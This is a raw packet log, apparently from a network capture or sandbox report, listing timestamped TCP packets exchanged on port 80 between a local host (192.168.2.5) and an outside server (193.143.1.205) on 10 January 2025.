Jan 10, 2025 19:26:27.087136030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.087152958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.087163925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.087188005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.090298891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.097877979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.097906113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.097923994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.097940922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.097949028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.097981930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.098529100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.136471033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.136533022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.136552095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.136559010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.136584044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.136609077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.136624098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.136631966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.136647940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.136651993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.136662960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.136662960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.136702061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.136723995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.136759996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.136769056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.169564009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.169579983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.169594049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.169610977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.169627905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.169673920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.169688940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.169728041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.169728041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.169728041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.171000957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.174954891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.174987078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.175054073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.175080061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.175107956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.175126076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.175144911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.175153971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.175174952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.175192118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.175198078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.175230026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.175234079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.175245047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.175287008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.175302029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.175303936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.175343037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.208579063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.208601952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.208707094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.208717108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.208748102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.208765984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.208789110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.208796024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.208827019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.208918095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.208992958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209008932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209031105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209037066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.209037066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209132910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209136009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.209182978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.209245920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209259987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209276915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209306955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.209311008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209326982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209342003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209350109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.209378958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.209398031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209414959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209460974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.209466934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209482908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209497929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209512949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209533930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.209609032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.209635973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209666014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209681988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209703922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.209722996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209738970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209753990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209763050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.209795952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.209904909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.209996939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210042953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.210064888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210083008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210097075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210112095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210124016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.210129023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210144997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210155010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.210222960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.210272074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210287094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210304022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210330009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.210400105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210416079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210432053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210438967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.210448980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210470915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.210481882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210506916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210522890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.210542917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210560083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210577965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210588932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.210608006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210623980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210629940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.210639954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210664988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.210688114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.210736990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.213618994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213645935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213661909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213715076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213728905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213745117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213769913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213788033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213804007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213820934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.213829994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213850021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213856936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.213865995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213869095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.213882923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213901997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.213908911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.213946104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.214236975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214277029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214301109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214313984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214329958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214337111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.214346886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214361906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214363098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.214391947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214418888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214423895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.214437008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214443922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.214453936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214469910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214477062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.214485884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214514017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.214518070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214535952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214562893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.214567900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214687109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.214867115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214951992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214967966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.214984894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.215004921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.215017080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.215030909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.215034008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.215049982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.215074062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.215079069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.215111017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.216439962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.223472118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.223490000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.223520041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.223525047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.223536015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.223546028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.223557949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.223573923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.223577976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.223593950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.229473114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.232373953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.256433010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.256516933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.256540060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.256541967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.256558895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.256572962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.256581068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.256589890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.256604910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.256623030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.256634951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.256683111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.261960030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.261977911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.261992931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.262008905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.262016058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.262029886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.262044907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.262051105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.262062073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.262073994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.262077093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.262212992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.295546055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295582056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295598984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295608997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.295615911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295634031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295643091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.295650959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295675039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.295679092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295707941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295726061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295730114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.295743942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295768976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295785904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.295787096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295803070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295809031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.295819044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295833111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295845032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.295851946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295876026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.295897007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295924902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295945883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295954943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.295955896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296005964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296020031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296031952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296036959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296049118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296055079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296077013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296093941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296109915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296138048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296149015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296164036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296179056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296188116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296196938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296216011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296216965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296241045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296263933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296264887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296324015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296339035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296348095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296395063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296397924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296412945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296427965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296443939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296452045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296479940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296493053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296497107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296514988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296531916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296535015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296550035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296566963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296581984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296581984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296605110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296607971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296626091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296644926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296650887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296662092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296677113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296684980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296694040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296709061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296720028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296726942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296751976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296755075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296768904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296797037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296797991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296814919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296829939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296838045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296845913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296860933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296870947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296879053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296900034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296936989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296952963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296974897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.296978951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.296992064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.297007084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.297017097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.297033072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.297046900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.297049999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.297065973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.297080994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.297097921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.297102928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.297126055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.297148943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.297183990 CET	80	49704	193.143.1.205	192.168.2.5
